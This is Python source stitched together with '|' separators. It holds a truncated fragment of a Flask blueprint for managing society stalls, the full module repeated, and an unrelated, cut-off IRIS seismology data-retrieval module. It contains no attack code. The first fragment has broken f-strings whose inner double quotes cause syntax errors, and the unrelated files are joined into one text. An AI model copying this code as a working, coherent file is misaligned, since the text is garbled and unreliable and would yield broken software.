errors["bbb_logo"] = "Invalid file."
# TODO: tweak these values when their ideal maximum lengths become apparent
if len(values["welcome_text"]) > 100:
errors["welcome_text"] = "Welcome text is too long."
if len(values["banner_text"]) > 100:
errors["banner_text"] = "Banner text is too long."
# Adding a new owner
if values["new_owner_crsid"] != "":
current_app.logger.info(
f"For uid='{ society.uid }": { crsid } is adding new owner { values["new_owner_crsid"] }..."
)
new_owner = User.query.filter_by(crsid=values["new_owner_crsid"]).first()
if not new_owner:
errors[
"new_owner_crsid"
] = "That user is not registered yet. Users must register before being added as administrators."
is_new_owner = True
# Add a new session
if values["new_session_start"] and values["new_session_end"]:
start_time = [int(nstr) for nstr in values["new_session_start"].split(":")]
end_time = [int(nstr) for nstr in values["new_session_end"].split(":")]
# Check that start is before end
t1 = time(hour=start_time[0], minute=start_time[1])
t2 = time(hour=end_time[0], minute=end_time[1])
if t1 > t2:
errors[
"new_session_start"
] = "Unfortunately, time travel is not possible."
is_new_session = True
elif values["new_session_start"]:
errors["new_session_end"] = "No end time specified."
elif values["new_session_end"]:
errors["new_session_start"] = "No start time specified."
if errors:
flash("There are errors with the information you provided.")
return render_template(
"rooms/manage.html",
page_title=f"Stall administration for { society.name }",
society=society,
crsid=crsid,
errors=errors,
sessions_data=sessions_data,
page_parent=url_for("home.home"),
has_directory_page=has_directory_page,
**values,
)
else:
society.name = values["soc_name"]
society.website = values["website"] if values["website"] != "" else None
# fetch all social fields from values, as we generate the uid in jinja
social_forms = {k: v for (k, v) in request.form.items() if ("social-" in k)}
for id, value in social_forms.items():
index, found_social = get_social_by_id(id, society.socials)
# do we have this social already?
if found_social:
if found_social["url"] != value:
if value == "":
del society.socials[index]
else:
found_social["url"] = value
found_social["type"] = match_social(value)
flag_modified(society, "socials")
else:
# create a new social field
# and check if its empty
if value:
social_type = match_social(value)
social_data = {"id": id, "url": value, "type": social_type}
society.socials.append(social_data)
flag_modified(society, "socials")
society.description = values["description"] if values["description"] != "" else None
society.short_description = values["short_description"] if values["short_description"] != "" else None
society.welcome_text = values["welcome_text"] if values["welcome_text"] != "" else None
society.banner_text = values["banner_text"] if values["banner_text"] != "" else None
society.banner_color = values["banner_color"]
society.mute_on_start = values["mute_on_start"]
society.disable_private_chat = values["disable_private_chat"]
if is_new_owner:
society.owners.append(new_owner)
if is_new_session:
society.sessions.append(
{
"id": gen_unique_string(),
"day": values["new_session_day"],
"start": values["new_session_start"],
"end": values["new_session_end"],
}
)
# we need this to ensure that sqlalchemy updates the val
flag_modified(society, "sessions")
db.session.commit()
if is_new_owner:
current_app.logger.info(
f"For uid='{ society.uid }': added new owner { new_owner }."
)
if is_new_session:
current_app.logger.info(
f"For uid='{ society.uid }": { crsid } added new session [ day: { values["new_session_day"] }, start: { values["new_session_start"] }, end: { values["new_session_end"] } ]"
)
flash("Settings saved.")
return redirect(url_for("rooms.manage", uid=society.uid))
else:
# defaults
values = {
"soc_name": society.name,
"website": society.website,
"description": society.description,
"short_description": society.short_description,
"welcome_text": society.welcome_text,
"banner_text": society.banner_text,
"banner_color": society.banner_color,
"logo": society.logo,
"mute_on_start": society.mute_on_start,
"disable_private_chat": society.disable_private_chat,
}
return render_template(
"rooms/manage.html",
page_title=f"Stall administration for { society.name }",
society=society,
crsid=crsid,
errors={},
sessions_data=sessions_data,
page_parent=url_for("home.home"),
has_directory_page=has_directory_page,
**values,
)
@bp.route("/<uid>/reset_banner")
@auth_decorator
def reset_banner(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
if society.banner_text != None:
society.banner_text = None
if society.banner_color != "#e8e8e8":
society.banner_color = "#e8e8e8"
db.session.commit()
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete_logo")
@auth_decorator
def delete_logo(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
current_app.logger.info(
f"User { crsid } deleting logo { society.logo } for uid '{ society.uid }'..."
)
delete_society_logo(uid)
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete_bbb_logo")
@auth_decorator
def delete_bbb_logo(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
current_app.logger.info(
f"User { crsid } deleting bbb_logo { society.bbb_logo } for uid '{ society.uid }'..."
)
delete_society_bbb_logo(uid)
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete_session/<session_id>")
@auth_decorator
def delete_session(uid, session_id):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
current_app.logger.info(
f"User { crsid } deleting session { session_id } for uid '{ society.uid }'..."
)
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
delete_society_session(uid, session_id)
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete", methods=("GET", "POST"))
@auth_decorator
def delete(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
if request.method == "POST":
submitted_short_name = request.form.get("soc_short_name", "")
errors = {}
if society.short_name != submitted_short_name:
errors["soc_short_name"] = "That is the wrong name."
if errors:
return render_template(
"rooms/delete.html",
page_title=f"Delete { society.name }",
crsid=crsid,
society=society,
errors=errors,
)
else:
delete_society_logo(uid)
db.session.delete(society)
db.session.commit()
current_app.logger.info(
f"User { crsid } deleted society with uid='{ society.uid }'"
)
return redirect(url_for("home.home"))
else:
return render_template(
"rooms/delete.html",
page_title=f"Delete { society.name }",
crsid=crsid,
society=society,
errors={},
)
| import os
import copy
from flask import (
Blueprint,
render_template,
request,
flash,
abort,
redirect,
url_for,
current_app,
)
from lightbluetent.models import db, User, Society
from lightbluetent.home import auth_decorator
from lightbluetent.utils import gen_unique_string, match_social, get_social_by_id
from PIL import Image
from flask_babel import _
from datetime import time
from sqlalchemy.orm.attributes import flag_modified
bp = Blueprint("rooms", __name__, url_prefix="/r")
def remove_logo(path):
images_dir = current_app.config["IMAGES_DIR"]
if not os.path.isdir(images_dir):
current_app.logger.info(f"'{ images_dir }': no such directory.")
abort(500)
if not os.path.isfile(path):
current_app.logger.info(f"no logo to delete")
return
os.remove(path)
current_app.logger.info(f"Deleted logo '{ path }'")
# Delete logo on disk for the society with given uid
def delete_society_logo(uid):
images_dir = current_app.config["IMAGES_DIR"]
society = Society.query.filter_by(uid=uid).first()
if society.logo == current_app.config["DEFAULT_LOGO"]:
return
else:
current_app.logger.info(f"For uid='{ society.uid }': deleting logo...")
old_logo = os.path.join(images_dir, society.logo)
remove_logo(old_logo)
society.logo = current_app.config["DEFAULT_LOGO"]
db.session.commit()
return
# Delete logo on disk for the society with given uid
def delete_society_bbb_logo(uid):
society = Society.query.filter_by(uid=uid).first()
images_dir = current_app.config["IMAGES_DIR"]
if society.bbb_logo == current_app.config["DEFAULT_BBB_LOGO"]:
return
else:
current_app.logger.info(f"For uid='{ society.uid }': deleting bbb_logo")
old_logo = os.path.join(images_dir, society.bbb_logo)
remove_logo(old_logo)
society.bbb_logo = current_app.config["DEFAULT_BBB_LOGO"]
db.session.commit()
return
# Delete one of the saved sessions in the database, identified by its ID.
# Returns if that session_id doesn't exist.
def delete_society_session(uid, session_id):
society = Society.query.filter_by(uid=uid).first()
sessions = copy.deepcopy(society.sessions)
session_to_delete = next(
(session for session in sessions if session["id"] == session_id), None
)
if session_to_delete is None:
return
else:
current_app.logger.info(
f"For uid='{ society.uid }': deleting session [ day: { session_to_delete['day'] }, start: { session_to_delete['start'] }, end: { session_to_delete['end'] } ]"
)
sessions.remove(session_to_delete)
society.sessions = sessions
db.session.commit()
return
@bp.route("/<uid>", methods=("GET", "POST"))
@auth_decorator
def manage(uid):
has_directory_page = current_app.config["HAS_DIRECTORY_PAGE"]
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
sessions_data = {"days": current_app.config["NUMBER_OF_DAYS"]}
if request.method == "POST":
is_new_owner = False
is_new_session = False
# Input validation from https://github.com/SRCF/control-panel/blob/master/control/webapp/signup.py#L37
values = {}
for key in (
"soc_name",
"website",
"description",
"short_description",
"welcome_text",
"logo",
"banner_text",
"banner_color",
"new_owner_crsid",
"new_session_day",
"new_session_start",
"new_session_end",
):
values[key] = request.form.get(key, "").strip()
for key in ("mute_on_start", "disable_private_chat"):
values[key] = bool(request.form.get(key, False))
errors = {}
if len(values["soc_name"]) <= 1:
errors["soc_name"] = _("Society name is too short.")
if len(values["short_description"]) > 200:
errors["short_description"] = _("This description is too long.")
if "logo" in request.files:
logo = request.files["logo"]
bbb_logo = request.files["bbb_logo"]
logo_filename, logo_extension = os.path.splitext(logo.filename)
bbb_logo_filename, bbb_logo_extension = os.path.splitext(bbb_logo.filename)
images_dir = current_app.config["IMAGES_DIR"]
if logo and logo_filename != "":
if logo_extension in current_app.config["LOGO_ALLOWED_EXTENSIONS"]:
# Delete the old logo if it's not the default
delete_society_logo(uid)
static_filename = (
society.uid + "_" + gen_unique_string() + logo_extension
)
path = os.path.join(images_dir, static_filename)
current_app.logger.info(
f"For user { crsid }, society uid='{ society.uid }': changing logo..."
)
if not os.path.isdir(images_dir):
current_app.logger.error(
f"'{ images_dir }': no such directory."
)
abort(500)
maxwidth, maxheight = current_app.config["MAX_LOGO_SIZE"]
logo_img = Image.open(logo)
ratio = min(maxwidth / logo_img.width, maxheight / logo_img.height)
# possible optimization with reduce here?
logo_resized = logo_img.resize(
(round(logo_img.width * ratio), round(logo_img.height * ratio))
)
logo_resized.save(path)
current_app.logger.info(
f"For uid='{ society.uid }': saved new logo '{ path }'"
)
society.logo = static_filename
db.session.commit()
current_app.logger.info(f"For uid='{ society.uid }': updated logo.")
else:
errors["logo"] = "Invalid file."
if bbb_logo and bbb_logo_filename != "":
if bbb_logo_extension in current_app.config["LOGO_ALLOWED_EXTENSIONS"]:
# Delete the old logo if it's not the default
delete_society_bbb_logo(uid)
static_filename = (
society.uid + "_bbb_" + gen_unique_string() + bbb_logo_extension
)
path = os.path.join(images_dir, static_filename)
current_app.logger.info(
f"For user { crsid }, society uid='{ society.uid }': changing bbb_logo..."
)
if not os.path.isdir(images_dir):
current_app.logger.error(
f"'{ images_dir }': no such directory."
)
abort(500)
bbb_logo_img = Image.open(bbb_logo)
bbb_logo_resized = bbb_logo_img.resize((100, 30))
bbb_logo_resized.save(path)
current_app.logger.info(
f"For uid='{ society.uid }': saved new bbb_logo to '{ path }'"
)
society.bbb_logo = static_filename
db.session.commit()
current_app.logger.info(
f"For uid='{ society.uid }': updated bbb_logo."
)
else:
errors["bbb_logo"] = "Invalid file."
# TODO: tweak these values when their ideal maximum lengths become apparent
if len(values["welcome_text"]) > 100:
errors["welcome_text"] = "Welcome text is too long."
if len(values["banner_text"]) > 100:
errors["banner_text"] = "Banner text is too long."
# Adding a new owner
if values["new_owner_crsid"] != "":
current_app.logger.info(
f"For uid='{ society.uid }': { crsid } is adding new owner { values['new_owner_crsid'] }..."
)
new_owner = User.query.filter_by(crsid=values["new_owner_crsid"]).first()
if not new_owner:
errors[
"new_owner_crsid"
] = "That user is not registered yet. Users must register before being added as administrators."
is_new_owner = True
# Add a new session
if values["new_session_start"] and values["new_session_end"]:
start_time = [int(nstr) for nstr in values["new_session_start"].split(":")]
end_time = [int(nstr) for nstr in values["new_session_end"].split(":")]
# Check that start is before end
t1 = time(hour=start_time[0], minute=start_time[1])
t2 = time(hour=end_time[0], minute=end_time[1])
if t1 > t2:
errors[
"new_session_start"
] = "Unfortunately, time travel is not possible."
is_new_session = True
elif values["new_session_start"]:
errors["new_session_end"] = "No end time specified."
elif values["new_session_end"]:
errors["new_session_start"] = "No start time specified."
if errors:
flash("There are errors with the information you provided.")
return render_template(
"rooms/manage.html",
page_title=f"Stall administration for { society.name }",
society=society,
crsid=crsid,
errors=errors,
sessions_data=sessions_data,
page_parent=url_for("home.home"),
has_directory_page=has_directory_page,
**values,
)
else:
society.name = values["soc_name"]
society.website = values["website"] if values["website"] != "" else None
# fetch all social fields from values, as we generate the uid in jinja
social_forms = {k: v for (k, v) in request.form.items() if ("social-" in k)}
for id, value in social_forms.items():
index, found_social = get_social_by_id(id, society.socials)
# do we have this social already?
if found_social:
if found_social["url"] != value:
if value == "":
del society.socials[index]
else:
found_social["url"] = value
found_social["type"] = match_social(value)
flag_modified(society, "socials")
else:
# create a new social field
# and check if its empty
if value:
social_type = match_social(value)
social_data = {"id": id, "url": value, "type": social_type}
society.socials.append(social_data)
flag_modified(society, "socials")
society.description = values["description"] if values["description"] != "" else None
society.short_description = values["short_description"] if values["short_description"] != "" else None
society.welcome_text = values["welcome_text"] if values["welcome_text"] != "" else None
society.banner_text = values["banner_text"] if values["banner_text"] != "" else None
society.banner_color = values["banner_color"]
society.mute_on_start = values["mute_on_start"]
society.disable_private_chat = values["disable_private_chat"]
if is_new_owner:
society.owners.append(new_owner)
if is_new_session:
society.sessions.append(
{
"id": gen_unique_string(),
"day": values["new_session_day"],
"start": values["new_session_start"],
"end": values["new_session_end"],
}
)
# we need this to ensure that sqlalchemy updates the val
flag_modified(society, "sessions")
db.session.commit()
if is_new_owner:
current_app.logger.info(
f"For uid='{ society.uid }': added new owner { new_owner }."
)
if is_new_session:
current_app.logger.info(
f"For uid='{ society.uid }': { crsid } added new session [ day: { values['new_session_day'] }, start: { values['new_session_start'] }, end: { values['new_session_end'] } ]"
)
flash("Settings saved.")
return redirect(url_for("rooms.manage", uid=society.uid))
else:
# defaults
values = {
"soc_name": society.name,
"website": society.website,
"description": society.description,
"short_description": society.short_description,
"welcome_text": society.welcome_text,
"banner_text": society.banner_text,
"banner_color": society.banner_color,
"logo": society.logo,
"mute_on_start": society.mute_on_start,
"disable_private_chat": society.disable_private_chat,
}
return render_template(
"rooms/manage.html",
page_title=f"Stall administration for { society.name }",
society=society,
crsid=crsid,
errors={},
sessions_data=sessions_data,
page_parent=url_for("home.home"),
has_directory_page=has_directory_page,
**values,
)
@bp.route("/<uid>/reset_banner")
@auth_decorator
def reset_banner(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
if society.banner_text != None:
society.banner_text = None
if society.banner_color != "#e8e8e8":
society.banner_color = "#e8e8e8"
db.session.commit()
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete_logo")
@auth_decorator
def delete_logo(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
current_app.logger.info(
f"User { crsid } deleting logo { society.logo } for uid '{ society.uid }'..."
)
delete_society_logo(uid)
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete_bbb_logo")
@auth_decorator
def delete_bbb_logo(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
current_app.logger.info(
f"User { crsid } deleting bbb_logo { society.bbb_logo } for uid '{ society.uid }'..."
)
delete_society_bbb_logo(uid)
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete_session/<session_id>")
@auth_decorator
def delete_session(uid, session_id):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
current_app.logger.info(
f"User { crsid } deleting session { session_id } for uid '{ society.uid }'..."
)
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
delete_society_session(uid, session_id)
return redirect(url_for("rooms.manage", uid=society.uid))
@bp.route("/<uid>/delete", methods=("GET", "POST"))
@auth_decorator
def delete(uid):
society = Society.query.filter_by(uid=uid).first()
if not society:
abort(404)
crsid = auth_decorator.principal
user = User.query.filter_by(crsid=crsid).first()
if society not in user.societies:
abort(403)
if request.method == "POST":
submitted_short_name = request.form.get("soc_short_name", "")
errors = {}
if society.short_name != submitted_short_name:
errors["soc_short_name"] = "That is the wrong name."
if errors:
return render_template(
"rooms/delete.html",
page_title=f"Delete { society.name }",
crsid=crsid,
society=society,
errors=errors,
)
else:
delete_society_logo(uid)
db.session.delete(society)
db.session.commit()
current_app.logger.info(
f"User { crsid } deleted society with uid='{ society.uid }'"
)
return redirect(url_for("home.home"))
else:
return render_template(
"rooms/delete.html",
page_title=f"Delete { society.name }",
crsid=crsid,
society=society,
errors={},
)
|
'''
:copyright:
Copyright (C) 2021 Laura Keyson, IRIS Data Management Center
:license:
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
'''
import requests
from io import StringIO
import pandas as pd
import numpy as np
import time
# from matplotlib.contour import ClabelText
import urllib
import re
def getAvailability(snclqs, startDate, endDate, tolerance, avtype):
availabilityDF = pd.DataFrame()
services = []
if avtype == '':
for snclq in snclqs:
snclqList = snclq.split('.')
n =snclqList[0]
s = snclqList[1]
l = snclqList[2]
if l == '':
luse = '--'
else:
luse = l
c = snclqList[3]
q = snclqList[4]
if q == "M":
service = "fdsnws"
elif q == "D":
service = "ph5ws"
if service not in services:
services.append(service)
URL = f'http://service.iris.edu/{service}/availability/1/query?format=text&' \
f'net={n}&sta={s}&loc={luse}&cha={c}&quality={q}&' \
f'starttime={startDate}&endtime={endDate}&orderby=nslc_time_quality_samplerate&' \
f'mergegaps={tolerance}&includerestricted=true&nodata=404'
try:
tmpDF = pd.read_csv(URL, sep=' ', dtype={'Location': str, 'Station': str}, parse_dates=['Earliest','Latest'])
tmpDF['staloc'] = f'{s}.{luse}'
availabilityDF = availabilityDF.append(tmpDF, ignore_index=True)
except Exception as e:
pass
elif avtype == 'extents':
# Don't loop over the stations unless necessary
nets = ','.join(list(set([n.split('.')[0] for n in snclqs])))
stas = ','.join(list(set([n.split('.')[1] for n in snclqs])))
stas = "*"
locs = ','.join(list(set([n.split('.')[2] for n in snclqs])))
if locs == "":
locs = '*'
chans = ','.join(list(set([n.split('.')[3] for n in snclqs])))
qs = ','.join(list(set([n.split('.')[4] for n in snclqs])))
if qs == 'D':
service = 'ph5ws'
elif qs == 'M':
service = 'fdsnws'
if service not in services:
services.append(service)
URL = f'http://service.iris.edu/{service}/availability/1/extent?format=text&' \
f'net={nets}&sta={stas}&loc={locs}&cha={chans}&quality={qs}&' \
f'starttime={startDate}&endtime={endDate}&orderby=nslc_time_quality_samplerate&' \
f'includerestricted=true&nodata=404'
# print("TEMP: URL\n%s" % URL)
try:
availabilityDF = pd.read_csv(URL, sep=' ', dtype={'Location': str, 'Station': str}, parse_dates=['Earliest','Latest'])
except:
print(" INFO: Unable to retrieve availability in one go, trying to loop over stations instead")
for snclq in snclqs:
snclqList = snclq.split('.')
n =snclqList[0]
s = snclqList[1]
l = snclqList[2]
if l == '':
luse = '--'
else:
luse = l
c = snclqList[3]
q = snclqList[4]
if q == "M":
service = "fdsnws"
elif q == "D":
service = "ph5ws"
if service not in services:
services.append(service)
URL = f'http://service.iris.edu/{service}/availability/1/extent?format=text&' \
f'net={n}&sta={s}&loc={luse}&cha={c}&quality={q}&' \
f'starttime={startDate}&endtime={endDate}&orderby=nslc_time_quality_samplerate&' \
f'&includerestricted=true&nodata=404'
try:
tmpDF = pd.read_csv(URL, sep=' ', dtype={'Location': str, 'Station': str}, parse_dates=['Earliest','Latest'])
tmpDF['staloc'] = f'{s}.{luse}'
availabilityDF = availabilityDF.append(tmpDF, ignore_index=True)
except:
pass
# availabilityDF = availabilityDF.apply(lambda x: x.str.strip() if x.dtype == "object" else x)
availabilityDF.rename(columns=lambda x: x.strip().lower(), inplace=True)
availabilityDF.rename(columns = {'#network': 'network'}, inplace=True)
return availabilityDF, services
def retrieveMetrics(URL, metric):
response = requests.get(URL)
tempDF = pd.read_csv(StringIO(response.text), header=1)
tempDF.rename(columns={'target':'snclq'}, inplace=True)
tempDF['target'] = tempDF['snclq'].apply(lambda x: '.'.join(x.split('.')[0:4]))
tempDF['station'] = tempDF['snclq'].apply(lambda x: '.'.join(x.split('.')[1:3])) ## Because "station" is really "station.location"
tempDF['station'] = [x + '--' if x.endswith('.') else x for x in tempDF['station'] ]
if (not metric == 'transfer_function') and (not metric == 'orientation_check'):
tempDF.rename(columns = {'value': metric}, inplace=True)
tempDF[metric] = tempDF[metric].map(float)
tempDF.drop('lddate', axis=1, inplace=True)
tempDF['start'] = pd.to_datetime(tempDF['start'])
tempDF['end'] = pd.to_datetime(tempDF['end'])
return tempDF
def addMetricToDF(metric, DF, network, stations, locations, channels, startDate, endDate):
if not (metric== 'ts_percent_availability_total' or metric == 'percent_availability'):
print(f" Retrieving {metric}")
chanList = list()
for chan in channels.split(','):
if len(chan) == 2:
# chan = f"{chan}Z,{chan}1"
chan = f"{chan}Z"
if chan == "*":
# chan = "??Z,??1"
chan = "??Z"
chanList.append(chan)
URL = f"http://service.iris.edu/mustang/measurements/1/query?metric={metric}&net={network}&" \
f"sta={",".join(stations)}&loc={",".join(locations)}&chan={",".join(chanList)}" \
f'&format=text&timewindow={startDate},{endDate}&nodata=404'
# # temporary
# if ('ts_' in metric):
# URL = f"http://mustangappbeta01.iris.washington.edu:8080/mustang/measurements/1/query?metric={metric}&net={network}&" \
# f"sta={",".join(stations)}&loc={",".join(locations)}&chan={",".join(chanList)}" \
# f'&format=text&timewindow={startDate},{endDate}&nodata=404'
try:
tempDF = retrieveMetrics(URL, metric)
except Exception as e:
if not metric== 'ts_percent_availability_total':
print(f" --> Unable to get measurements for {metric}, waiting 5 seconds and trying again")
print(f" {URL}")
# print(f" {e}")
time.sleep(5)
try:
tempDF = retrieveMetrics(URL, metric)
except:
if not metric== 'ts_percent_availability_total':
print(f" --> Still unable to get measurements for {metric}, bypassing" )
tempDF = pd.DataFrame()
if DF.empty:
DF = tempDF.copy()
else:
try:
DF = pd.merge(DF, tempDF, how='outer', left_on=['target','snclq', 'station', 'start', 'end'], right_on=['target','snclq','station', 'start', 'end'])
except:
print(f" ERROR: Something went wrong with the {metric}")
return DF
def getMetadata(network, stations, locations, channels, startDate, endDate, level):
# This one and getStations are almost redundant, except that they return at different
# levels. Merge into one function that also takes level as an input?
if level == 'channel':
stationDF = pd.DataFrame()
if level == 'station':
stationDF = pd.DataFrame(columns=['#Network', 'Station', 'Latitude' , 'Longitude' , 'Elevation' , 'SiteName' , 'StartTime' , 'EndTime'])
if level == 'network':
stationDF = pd.DataFrame(columns=['#Network',])
chanList = list()
for chan in channels.split(','):
if len(chan) == 2:
# chan = f"{chan}Z,{chan}1"
chan = f"{chan}Z"
if chan == "*":
# chan = "??Z,??1"
chan = "??Z"
chanList.append(chan)
try:
# Call Fed Catalog to know what service the network can be retrieved using.
print(" Calling on Fed Catalog")
fedURL = f"http://service.iris.edu/irisws/fedcatalog/1/query?" \
f"net={network}&sta={stations}&loc={locations}&cha={",".join(chanList)}&" \
f"starttime={startDate}&endtime={endDate}" \
f"&format=request&includeoverlaps=false"
try:
with urllib.request.urlopen(fedURL) as response:
html_content = response.read().decode('utf-8')
services = []
for ln in html_content.split('\n'):
if ln.startswith("STATIONSERVICE="):
serviceURL = ln.split('=')[1]
if 'iris' in serviceURL:
services.append(serviceURL)
except Exception as e:
print(" ERROR: unable to retrieve fed catalog information about where the data lives - %s\n%s " % (fedURL, e))
services = ['http://service.iris.edu/fdsnws/station/1/', 'http://service.iris.edu/ph5ws/station/1/']
for service in services:
# To prevent needing to know a priori where it's from, try both and only add if attempt is successful
# Most experiments are one-archive only, but some have been split in the past
try:
print(" Calling on Station Service")
stationURL = f"{service}query?" \
f"net={network}&sta={stations}&loc={locations}&cha={",".join(chanList)}&" \
f"starttime={startDate}&endtime={endDate}&level={level}" \
f"&format=text&includecomments=true&nodata=404"
if level == 'channel':
try:
tmpDF = pd.read_csv(stationURL, sep='|', dtype={' Location ': str, ' Station ': str})
tmpDF.rename(columns=lambda x: x.strip(), inplace=True)
tmpDF.rename(columns = {'#Network': 'Network'}, inplace=True)
tmpDF['Location'] = tmpDF.Location.replace(np.nan, '', regex=True)
tmpDF['Target'] = tmpDF[['Network', 'Station', 'Location','Channel']].apply(lambda x: '.'.join(x.map(str)), axis=1)
tmpDF.columns = tmpDF.columns.str.lower()
tmpDF['starttime'] = pd.to_datetime(tmpDF['starttime'])
tmpDF['endtime'] = pd.to_datetime(tmpDF['endtime'])
except Exception as e:
print(f" ERROR: Unable to retrieve channel information from {stationURL}")
elif level == 'station' or level == 'network':
try:
tmpDF = pd.read_csv(stationURL, sep='|')
tmpDF.rename(columns=lambda x: x.strip(), inplace=True)
except:
print(f" ERROR: Unable to retrieve metadata information from {stationURL}")
except:
tmpDF = pd.DataFrame()
stationDF = pd.concat([stationDF, tmpDF], ignore_index=True)
except:
print(" ERROR: Unable to retrieve metadata")
return stationDF
return stationDF
def retrieveExpectedPDFs(smallestNSLC, startDate, endDate):
URL = f'http://service.iris.edu/mustang/noise-pdf-browser/1/availability?target={smallestNSLC}?.*&starttime={startDate}&endtime={endDate}&interval=all'
# print(URL)
response = requests.get(URL)
if response.text.startswith("Error"):
# Wait 5 seconds and try again
print(f" --> Error retrieving list of expected PDFs for {smallestNSLC}, waiting 5 seconds and trying again")
time.sleep(5)
response = requests.get(URL)
if response.text.startswith("Error"):
print(f" --> Unable to retrieve PDF list for {smallestNSLC}")
# print(response.text)
expectedTargets = list()
# doing it this way so that this section will run if either the first or second attempt was successful
if not response.text.startswith("Error"):
expectedTargets = [x.split(',')[0] for x in response.text.split('\n') if not x == '']
return expectedTargets
def getPDF(target, startDate, endDate, spectPowerRange, imageDir):
plot_titlefont=20
plot_subtitlefont=18
plot_axisfont=16
plot_labelfont=18
plotArguments = f"plot.titlefont.size={plot_titlefont}&plot.subtitlefont.size={plot_subtitlefont}" \
f"&plot.axisfont.size={plot_axisfont}&plot.labelfont.size={plot_labelfont}"
URL = f"http://service.iris.edu/mustang/noise-pdf/1/query?target={target}&" \
f"starttime={startDate}&endtime={endDate}&format=plot&plot.interpolation=bicubic&nodata=404&" \
f"plot.power.min={spectPowerRange[0]}&plot.power.max={spectPowerRange[1]}&{plotArguments}"
response = requests.get(URL)
filename = (f"{imageDir}/{target}_PDF.png").replace('*','').replace('?','')
file = open(filename, "wb")
file.write(response.content)
file.close()
return filename
def getSpectrogram(target, startDate, endDate, spectPowerRange, spectColorPalette, imageDir):
powerRange = ','.join([str(x) for x in spectPowerRange])
plot_titlefont=20
plot_subtitlefont=18
plot_axisfont=16
plot_labelfont=18
plotArguments = f"plot.titlefont.size={plot_titlefont}&plot.subtitlefont.size={plot_subtitlefont}" \
f"&plot.axisfont.size={plot_axisfont}&plot.labelfont.size={plot_labelfont}"
URL = f"http://service.iris.edu/mustang/noise-spectrogram/1/query?target={target}&" \
f"starttime={startDate}&endtime={endDate}&output=power&format=plot&plot.color.palette={spectColorPalette}&" \
f"plot.powerscale.range={powerRange}&plot.horzaxis=time&plot.time.matchrequest=true&{plotArguments}&" \
f"plot.time.tickunit=auto&plot.time.invert=false&plot.powerscale.show=true&plot.powerscale.orientation=horz&nodata=404"
response = requests.get(URL)
filename = f"{imageDir}/{target}_spectrogram.png"
file = open(filename, "wb")
file.write(response.content)
file.close()
return filename
def getBoundsZoomLevel(bounds, mapDim):
"""
source: https://stackoverflow.com/questions/6048975/google-maps-v3-how-to-calculate-the-zoom-level-for-a-given-bounds
:param bounds: list of ne and sw lat/lon
:param mapDim: dictionary with image size in pixels
:return: zoom level to fit bounds in the visible area
"""
n_lat = bounds[0]
w_long = bounds[1]
s_lat = bounds[2]
e_long = bounds[3]
scale = 2 # adjustment to reflect MapBox base tiles are 512x512 vs. Google's 256x256
WORLD_DIM = {'height': 256 * scale, 'width': 256 * scale}
ZOOM_MAX = 16
ZOOM_MIN = 0.5
def latRad(lat):
sin = np.sin(lat * np.pi / 180)
radX2 = np.log((1 + sin) / (1 - sin)) / 2
return max(min(radX2, np.pi), -np.pi) / 2
def zoom(mapPx, worldPx, fraction):
return np.floor(np.log(mapPx / worldPx / fraction) / np.log(2))
latFraction = (latRad(n_lat) - latRad(s_lat)) / np.pi
lngDiff = e_long - w_long
lngFraction = ((lngDiff + 360) if lngDiff < 0 else lngDiff) / 360
latZoom = zoom(mapDim['height'], WORLD_DIM['height'], latFraction)
lngZoom = zoom(mapDim['width'], WORLD_DIM['width'], lngFraction)
return min(max(latZoom, lngZoom, ZOOM_MIN), ZOOM_MAX)
def getMetricLabel(metric):
metricLabels = {'amplifier_saturation':'daily flag count \n(number of occurrences)',
'calibration_signal':'daily flag count \n(number of occurrences)',
'clock_locked':'daily flag count \n(number of occurrences)',
'cross_talk':'correlation coefficient \n', # no units
'data_latency':'latency (seconds) \n',
'dc_offset':'daily indicator of likelihood of \nDC offset shift', # no units
'dead_channel_gsn':'indicator \n',
'dead_channel_lin':'standard deviation of residuals (dB) \n',
'digital_filter_charging':'daily flag count \n(number of occurrences)',
